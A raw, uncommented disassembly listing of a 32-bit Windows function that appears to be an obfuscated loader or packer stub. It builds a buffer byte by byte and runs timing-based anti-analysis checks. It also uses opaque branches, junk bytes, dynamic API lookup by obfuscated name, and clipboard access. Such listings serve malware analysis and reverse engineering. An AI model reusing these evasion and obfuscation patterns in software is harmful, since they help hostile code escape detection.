add byte [ebx + 0x9000000], 0x68
dec esp
or al, byte [ecx]
call fcn.00403953
pop ecx
mov dword [ebp - 0x1bb8], eax
push dword [ebp - 0x1bb8]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
call fcn.00404727
mov eax, dword [ebp + 8]
mov byte [eax + 0x84], 0x51
mov eax, dword [ebp + 8]
mov byte [eax + 0x85], 0xcf
mov eax, dword [ebp + 8]
mov byte [eax + 0x86], 0x9b
push 0xc
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
call fcn.0040475f
call fcn.004047bc
mov eax, dword [ebp + 8]
mov byte [eax + 0x87], 0x87
mov eax, dword [ebp + 8]
mov byte [eax + 0x88], 0xf3
mov eax, dword [ebp + 8]
mov byte [eax + 0x89], 0x29
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [ebp - 0x1bbc], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x8a], 0xeb
mov eax, dword [ebp + 8]
mov byte [eax + 0x8b], 0x20
mov eax, dword [ebp + 8]
mov byte [eax + 0x8c], 0xe4
lea ecx, [ebp - 0x1bd0]
call fcn.004039b9
push str.rxuN3KT2m8uF2vsUAWdW5ntC1TFywPEkMdUp
lea ecx, [ebp - 0x1ce4]
call fcn.00405105
cmp dword [ebp - 0x1ce0], 0x105
jbe 0x402615
push dword [ebp - 0x1ce0]
push dword [ebp - 0x1ce4]
lea ecx, [ebp - 0x1ce4]
call fcn.00405e1a
push 0xa
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x8d], 0x6f
mov eax, dword [ebp + 8]
mov byte [eax + 0x8e], 0x89
mov eax, dword [ebp + 8]
mov byte [eax + 0x8f], 0xc0
push str.XE8CgOsQ9COFFFAIPbX1NTSGZoxqL7dAWTyD0pp2QtB6MdwoeQdPx7h02gVIwh1yDveuqsuvxfTXLoo0l5QlJpXg3NoouuqLI1hU
lea ecx, [ebp - 0x1df8]
call fcn.00405881
cmp dword [ebp - 0x1df4], 0x105
jbe 0x40266f
push dword [ebp - 0x1df4]
push dword [ebp - 0x1df8]
lea ecx, [ebp - 0x1df8]
call fcn.00405e1a
mov eax, dword [ebp + 8]
mov byte [eax + 0x90], 0xa4
mov eax, dword [ebp + 8]
mov byte [eax + 0x91], 0xad
mov eax, dword [ebp + 8]
mov byte [eax + 0x92], 0x68
call fcn.00404817
call fcn.00405ad0
push eax
push 0x410fe8
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
and dword [ebp - 0x1e2c], 0
mov dword [ebp - 0x1e28], 1
mov dword [ebp - 0x1e24], 2
mov dword [ebp - 0x1e20], 3
mov dword [ebp - 0x1e1c], 4
mov dword [ebp - 0x1e18], 5
mov dword [ebp - 0x1e14], 6
mov dword [ebp - 0x1e10], 7
mov dword [ebp - 0x1e0c], 8
mov dword [ebp - 0x1e08], 9
lea eax, [ebp - 0x1e2c]
mov dword [ebp - 0x1e30], eax
lea eax, [ebp - 0x1e04]
mov dword [ebp - 0x1e04], eax
mov eax, dword [ebp - 0x1e30]
mov dword [ebp - 0x5218], eax
and dword [ebp - 0x5214], 0
jmp 0x402742
mov eax, dword [ebp - 0x5218]
add eax, 4
mov dword [ebp - 0x5218], eax
mov eax, dword [ebp - 0x5218]
cmp eax, dword [ebp - 0x1e04]
je 0x40276e
mov eax, dword [ebp - 0x5218]
mov eax, dword [eax]
and eax, 1
test eax, eax
je 0x40276c
mov eax, dword [ebp - 0x5214]
inc eax
mov dword [ebp - 0x5214], eax
jmp 0x402733
mov eax, dword [ebp - 0x5214]
mov dword [ebp - 0x1e00], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x93], 0xab
mov eax, dword [ebp + 8]
mov byte [eax + 0x94], 0x28
mov eax, dword [ebp + 8]
mov byte [eax + 0x95], 0x1a
je 0x4027a8
jne 0x4027a8
jmp 0x4027a8
je 0x4027b6
jne 0x4027b6
jmp 0x4027b8
push 1
call dword [sym.imp.MSVCRT.dll_strerror]
pop ecx
call fcn.00404899
mov eax, dword [ebp + 8]
mov byte [eax + 0x96], 0xcb
mov eax, dword [ebp + 8]
mov byte [eax + 0x97], 0x90
mov eax, dword [ebp + 8]
mov byte [eax + 0x98], 0x16
push 1
lea ecx, [ebp - 0x274c]
call fcn.0040555e
lea ecx, [ebp - 0x274c]
call fcn.004056a5
call fcn.0040496b
mov eax, dword [ebp + 8]
mov byte [eax + 0x99], 0x99
mov eax, dword [ebp + 8]
mov byte [eax + 0x9a], 0xf9
mov eax, dword [ebp + 8]
mov byte [eax + 0x9b], 0x69
lea ecx, [ebp - 0x275c]
call fcn.004039b9
push str.cjwk1R0ngy2c7YQR9FW9nZj4wjJYmdJ4psZeZp4XZwWI5wI6H5imX8sbiF4Y0bY3hw9q8EsZIU2NUTjvuS2NHyhbFvXmCFUWEPE1h5yF7ZDuocnK
lea ecx, [ebp - 0x2870]
call fcn.00405881
cmp dword [ebp - 0x286c], 0x105
jbe 0x40285b
push dword [ebp - 0x286c]
push dword [ebp - 0x2870]
lea ecx, [ebp - 0x2870]
call fcn.00405e1a
je 0x40286f
jne 0x40286f
jmp 0x402872
mov eax, dword [ebp + 8]
mov byte [eax + 0x9c], 0x38
mov eax, dword [ebp + 8]
mov byte [eax + 0x9d], 0x6e
mov eax, dword [ebp + 8]
mov byte [eax + 0x9e], 0x6b
call fcn.0040498e
je 0x4028aa
jne 0x4028aa
jmp 0x4028b9
mov eax, dword [ebp + 8]
mov byte [eax + 0x9f], 0xf
mov eax, dword [ebp + 8]
mov byte [eax + 0xa0], 0xfb
mov al, byte [0xfb000000]
mov eax, dword [ebp + 8]
mov byte [eax + 0xa1], 0x1e
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov dword [ebp - 0x2878], eax
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x2898]
call fcn.004038ed
call fcn.00404a12
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [ebp - 0x289c], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0xa2], 0x5a
mov eax, dword [ebp + 8]
mov byte [eax + 0xa3], 0x1b
mov eax, dword [ebp + 8]
mov byte [eax + 0xa4], 0x60
push 1
lea ecx, [ebp - 0x31b8]
call fcn.0040555e
lea ecx, [ebp - 0x31b8]
call fcn.004056a5
push 5
push 5
push 5
lea ecx, [ebp - 0x31c8]
call fcn.004057e8
lea ecx, [ebp - 0x31c8]
call fcn.0040583a
push 0
lea ecx, [ebp - 0x32dc]
call fcn.004054c9
cmp dword [ebp - 0x32d8], 0x105
jbe 0x40297a
push dword [ebp - 0x32d8]
push dword [ebp - 0x32dc]
lea ecx, [ebp - 0x32dc]
call fcn.00405e1a
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x32e0], al
movzx eax, byte [ebp - 0x32e0]
test eax, eax
je 0x40299f
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, dword [ebp + 8]
mov byte [eax + 0xa5], 0xf1
mov eax, dword [ebp + 8]
mov byte [eax + 0xa6], 0xa5
mov eax, dword [ebp + 8]
and byte [eax + 0xa7], 0
call fcn.00403b1b
push 0x2b
call dword [sym.imp.MSVCRT.dll_isxdigit]
pop ecx
call fcn.00404ac2
mov eax, dword [ebp + 8]
mov byte [eax + 0xa8], 0x4b
mov eax, dword [ebp + 8]
mov byte [eax + 0xa9], 0x1c
mov eax, dword [ebp + 8]
mov byte [eax + 0xaa], 0xd2
call fcn.00404b6a
push 0x22
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
push 0x2328
lea ecx, [ebp - 0x33e8]
call fcn.00405042
cmp dword [ebp - 0x33e4], 0x100
jbe 0x402a48
mov eax, dword [ebp - 0x33e4]
mov dword [ebp - 0x52c4], eax
mov eax, dword [ebp - 0x33e8]
mov dword [ebp - 0x52c0], eax
mov al, byte [ebp - 0x52bc]
mov byte [ebp - 0x52b8], al
push dword [ebp - 0x52c0]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xab], 0xcd
mov eax, dword [ebp + 8]
mov byte [eax + 0xac], 0xa6
mov eax, dword [ebp + 8]
mov byte [eax + 0xad], 0x2e
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x33ec], al
movzx eax, byte [ebp - 0x33ec]
test eax, eax
je 0x402a8b
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.004038c5
push 1
lea ecx, [ebp - 0x3d08]
call fcn.0040555e
lea ecx, [ebp - 0x3d08]
call fcn.004056a5
mov eax, dword [ebp + 8]
mov byte [eax + 0xae], 0x5b
mov eax, dword [ebp + 8]
mov byte [eax + 0xaf], 0x66
mov eax, dword [ebp + 8]
mov byte [eax + 0xb0], 0x26
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x3d10]
mov dword [ebp - 0x52d4], eax
mov eax, dword [ebp - 0x52d4]
mov dword [ebp - 0x52d8], eax
push dword [ebp - 0x52d8]
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x3d20]
mov dword [ebp - 0x52dc], eax
mov eax, dword [ebp - 0x52dc]
mov dword [ebp - 0x52e0], eax
push dword [ebp - 0x52e0]
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
mov eax, dword [ebp + 8]
mov byte [eax + 0xb1], 0xbf
mov eax, dword [ebp + 8]
mov byte [eax + 0xb2], 0x47
mov eax, dword [ebp + 8]
mov byte [eax + 0xb3], 0xbb
call fcn.00405ad0
push eax
push 0x410fe8
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xb4], 0xcc
mov eax, dword [ebp + 8]
mov byte [eax + 0xb5], 0xc6
mov eax, dword [ebp + 8]
mov byte [eax + 0xb6], 0x7b
call fcn.00404ba4
push 0xc
call dword [sym.imp.MSVCRT.dll_isupper]
pop ecx
call fcn.00404bf6
push 0
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xb7], 0x12
mov eax, dword [ebp + 8]
mov byte [eax + 0xb8], 0xe6
mov eax, dword [ebp + 8]
mov byte [eax + 0xb9], 0x9e
je 0x402bb5
jne 0x402bb5
jmp 0x402bb7
je 0x402bc3
or byte [eax], al
add byte [eax], al
jne 0x402bc3
jmp 0x402bc5
je 0x402bd1
or byte [eax], al
add byte [eax], al
jne 0x402bd1
jmp 0x402c1a
mov eax, dword [ebp + 8]
mov byte [eax + 0xba], 0x98
mov eax, dword [ebp + 8]
mov byte [eax + 0xbb], 0xb7
mov eax, dword [ebp + 8]
mov byte [eax + 0xbc], 0x67
call fcn.00404c34
je 0x402c02
jne 0x402c02
jmp 0x402c04
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov dword [ebp - 0x3d34], eax
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x3d54]
call fcn.004038ed
mov eax, dword [ebp + 8]
mov byte [eax + 0xbd], 0x57
mov eax, dword [ebp + 8]
mov byte [eax + 0xbe], 0xe0
mov eax, dword [ebp + 8]
mov byte [eax + 0xbf], 0x8d
push 0x46
call dword [sym.imp.MSVCRT.dll_isspace]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xc0], 0x78
mov eax, dword [ebp + 8]
mov byte [eax + 0xc1], 0x77
mov eax, dword [ebp + 8]
mov byte [eax + 0xc2], 0x8c
je 0x402c74
hlt
invalid
jne 0x402c74
jmp 0x402c76
call fcn.00404cb8
push 1
and byte [eax], al
add byte [edx + 1], ch
lea ecx, [ebp - 0x4670]
call fcn.0040555e
lea ecx, [ebp - 0x4670]
call fcn.004056a5
mov eax, dword [ebp + 8]
mov byte [eax + 0xc3], 0x49
mov eax, dword [ebp + 8]
mov byte [eax + 0xc4], 0xa8
mov eax, dword [ebp + 8]
mov byte [eax + 0xc5], 0x9c
call fcn.00404d6b
mov eax, dword [ebp + 8]
mov byte [eax + 0xc6], pe_nt_image_headers32
mov eax, dword [ebp + 8]
mov byte [eax + 0xc7], 0xbc
mov eax, dword [ebp + 8]
mov byte [eax + 0xc8], 0x55
push str.Q63MRxEPmM3Q2FUSvSX9J2uFCVmFLjEfvitbq5oK3MIq5YXZVEkqOl4LJ0chS7EEX2W0mv217fHguf1tK
call fcn.00403953
pop ecx
mov dword [ebp - 0x4674], eax
push dword [ebp - 0x4674]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [ebp - 4], 0x1a
push str.KCTUGJSQDQWbL0
lea ecx, [ebp - 0x4680]
call fcn.0040331b
mov dword [ebp - 0x5468], eax
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x4680]
mov dword [ebp - 0x531c], eax
push str.8VolpM5fyD7wyVuBuTjWZmPsGkj
push dword [ebp - 0x531c]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x4678], eax
push 0x57e3
push dword [ebp - 0x4680]
call fcn.0040365f
pop ecx
pop ecx
mov dword [ebp - 0x546c], eax
mov eax, dword [ebp - 0x546c]
mov dword [ebp - 0x467c], eax
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x4680]
mov dword [ebp - 0x533c], eax
cmp dword [ebp - 0x533c], 0
je 0x402d7c
push dword [ebp - 0x533c]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x402d84
or dword [ebp - 4], 0xffffffff
je 0x402d9e
jne 0x402d9e
jmp 0x402daf
mov eax, dword [ebp + 8]
mov byte [eax + 0xc9], 0xfc
mov eax, dword [ebp + 8]
mov byte [eax + 0xca], 0x50
add byte [eax], al
push eax
mov eax, dword [ebp + 8]
mov byte [eax + 0xcb], 0xdb
push 0x4c
call dword [sym.imp.MSVCRT.dll_isspace]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xcc], 0xda
mov eax, dword [ebp + 8]
mov byte [eax + 0xcd], 0xe2
mov eax, dword [ebp + 8]
mov byte [eax + 0xce], 0x2c
push 0x8eab
push 0x29
lea eax, [ebp - 0x46b0]
push eax
call fcn.0040622b
add esp, 0xc
mov dword [ebp - 0x4684], eax
push 0x46
call dword [sym.imp.MSVCRT.dll_isspace]
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x46b8]
mov dword [ebp - 0x5340], eax
mov eax, dword [ebp - 0x5340]
mov dword [ebp - 0x5344], eax
push dword [ebp - 0x5344]
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x46c8]
push eax
call fcn.0040154c
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xcf], 0x52
mov eax, dword [ebp + 8]
mov byte [eax + 0xd0], 0x9d
mov eax, dword [ebp + 8]
mov byte [eax + 0xd1], 0xa0
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x46d8]
push eax
call fcn.0040154c
pop ecx
push str.cREoVymACGDh7Grj8Bi46OecjXV0
call fcn.00403953
pop ecx
mov dword [ebp - 0x46e4], eax
push dword [ebp - 0x46e4]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp + 8]
mov byte [eax + 0xd2], 0xaf
mov eax, dword [ebp + 8]
mov byte [eax + 0xd3], 0xef
mov eax, dword [ebp + 8]
mov byte [eax + 0xd4], 0xb1
push 0x30
push str.nJRq9TUdR4QE1iOONyL97ULBSIFXTxfEOvv48IXI5Vkjoij0Q381LPBng6ByXJ2ITiUrasiAibBPN3QwFnctMdXil9l5m7KulLVI8GR85ZmrQqSiyTX4Bb73bqv0AMGQ
push str.YbeCJjifigh8WwWcApZKqYIjZUVOtvWwBTxJsP76PRe4pIeuQSgluMEB4OjsVwNhR91xtMsuZh
lea ecx, [ebp - 0x4884]
call fcn.0040574f
lea ecx, [ebp - 0x476c]
call fcn.00405abd
lea eax, [ebp - 0x487c]
mov dword [ebp - 0x5380], eax
mov ecx, dword [ebp - 0x5380]
call fcn.00405091
mov eax, dword [ebp + 8]
mov byte [eax + 0xd5], 0xd8
mov eax, dword [ebp + 8]
mov byte [eax + 0xd6], 0x56
mov eax, dword [ebp + 8]
mov byte [eax + 0xd7], 0xd4
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [ebp - 0x4888], eax
push 6
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x4890], eax
call fcn.00404e92
je 0x402f4a
jne 0x402f4a
jmp 0x402f4d
mov eax, dword [ebp + 8]
mov byte [eax + 0xd8], 0x9a
mov eax, dword [ebp + 8]
mov byte [eax + 0xd9], 0xa7
mov eax, dword [ebp + 8]
mov byte [eax + 0xda], 0x4d
push 0x1c
call dword [sym.imp.MSVCRT.dll_tolower]
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x4894], eax
mov eax, dword [ebp + 8]
or byte [eax + 0xdb], 0xff
mov eax, dword [ebp + 8]
mov byte [eax + 0xdc], 0x70
mov eax, dword [ebp + 8]
mov byte [eax + 0xdd], 0x3f
call fcn.00405ad0
push eax
push 0x410fe8
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
call fcn.00404eff
je 0x402fc9
jne 0x402fc9
jmp 0x403012
mov dword [ebp - 4], 0x1d
push str.W7Hmgu4Gmvfbe6yW6Sj3LxCyUOr1CUQ1XBPP0P6laWNGeqLpQ5k0JE
lea ecx, [ebp - 0x48b4]
call fcn.004036a8
lea ecx, [ebp - 0x48b4]
call fcn.004036ea
jmp 0x402ff3
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
mov byte [eax + 0xde], 0x3c
mov eax, dword [ebp + 8]
mov byte [eax + 0xdf], 0x4e
mov eax, dword [ebp + 8]
mov byte [eax + 0xe0], 0xb4
push 0x21
call dword [sym.imp.MSVCRT.dll_isgraph]
add byte [eax], al
mov ah, 0x6a
and edi, edi
adc eax, sym.imp.MSVCRT.dll_isgraph
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [ebp - 0x48b8], eax
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0x4d2c]
call fcn.004056cb
lea ecx, [ebp - 0x4924]
call fcn.00405a7f
lea ecx, [ebp - 0x4d2c]
call fcn.00405a42
jmp 0x40305a
or dword [ebp - 4], 0xffffffff
je 0x40306c
jne 0x40306c
jmp 0x4030b5
mov eax, dword [ebp + 8]
mov byte [eax + 0xe1], 0x45
mov eax, dword [ebp + 8]
mov byte [eax + 0xe2], 0x6c
mov eax, dword [ebp + 8]
mov byte [eax + 0xe3], 0xb8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [ebp - 0x4d30], eax
call fcn.00405b06
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xe4], 0xe1
mov eax, dword [ebp + 8]
mov byte [eax + 0xe5], 0x59
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xe6], 3
je 0x4030d2
jne 0x4030d2
jmp 0x4030d4
mov eax, dword [ebp + 8]
mov byte [eax + 0xe7], 0x2f
or dh, al
and bh, 0
add byte [eax], al
das
mov eax, dword [ebp + 8]
mov byte [eax + 0xe8], 0xdf
mov eax, dword [ebp + 8]
mov byte [eax + 0xe9], 0x23
push 0x23
call dword [sym.imp.MSVCRT.dll_islower]
pop ecx
push 0x70
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x4e84], eax
mov eax, dword [ebp - 0x4e84]
mov dword [ebp - 0x4d38], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0xea], 0x62
mov eax, dword [ebp + 8]
mov byte [eax + 0xeb], 0xa2
mov eax, dword [ebp + 8]
mov byte [eax + 0xec], 0x39
call fcn.004032cb
call fcn.004032cb
mov eax, dword [ebp + 8]
mov byte [eax + 0xed], 0xb9
mov eax, dword [ebp + 8]
mov byte [eax + 0xee], 0x5f
mov eax, dword [ebp + 8]
mov byte [eax + 0xef], 0xba
je 0x40317c
jne 0x40317c
jmp 0x403189
mov eax, dword [ebp + 8]
mov byte [eax + 0xf0], 0xca
mov eax, dword [ebp + 8]
mov byte [eax + 0xf1], 0x7e
mov eax, dword [ebp + 8]
mov byte [eax + 0xf2], 0x94
je 0x4031a8
jne 0x4031a8
jmp 0x4031aa
lea ecx, [ebp - 0x4d48]
call fcn.004039b9
lea ecx, [ebp - 0x4e5c]
call fcn.00405863
lea ecx, [ebp - 0x4e5c]
call fcn.00405091
push 0x49
call dword [sym.imp.MSVCRT.dll_islower]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xf3], 0xe9
mov eax, dword [ebp + 8]
mov byte [eax + 0xf4], 0x64
mov eax, dword [ebp + 8]
mov byte [eax + 0xf5], 0x31
je 0x403202
mov eax, 0xe8ffffb2
push es
or byte [eax], al
add byte [ebp - 0x4e5b73], cl
invalid
jne 0x403202
jmp 0x403204
push 0x30
call dword [sym.imp.MSVCRT.dll_isxdigit]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0xf6], 0xe5
mov eax, dword [ebp + 8]
mov byte [eax + 0xf7], 0xd1
mov eax, dword [ebp + 8]
mov byte [eax + 0xf8], 0xc4
push 0x13
call dword [sym.imp.MSVCRT.dll_isalnum]
pop ecx
call fcn.00404f36
mov eax, dword [ebp + 8]
mov byte [eax + 0xf9], 0x44
mov eax, dword [ebp + 8]
mov byte [eax + 0xfa], 0x82
mov eax, dword [ebp + 8]
mov byte [eax + 0xfb], 0x92
je 0x403265
jne 0x403265
jmp 0x403265
mov eax, dword [ebp + 8]
mov byte [eax + 0xfc], 0xc8
mov eax, dword [ebp + 8]
mov byte [eax + 0xfd], 0x27
mov eax, dword [ebp + 8]
mov byte [eax + 0xfe], 0xb
je 0x403299
jne 0x403299
jmp 0x4032aa
call 0x404fdc
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [ebp - 0x4e60], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0xff], 0x9f
inc eax
add byte [ecx - 0x4e5f7b], cl
dec dword [ebx - 0x7f39f7bb]
inc dword [eax]
add byte [eax], al
lahf
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret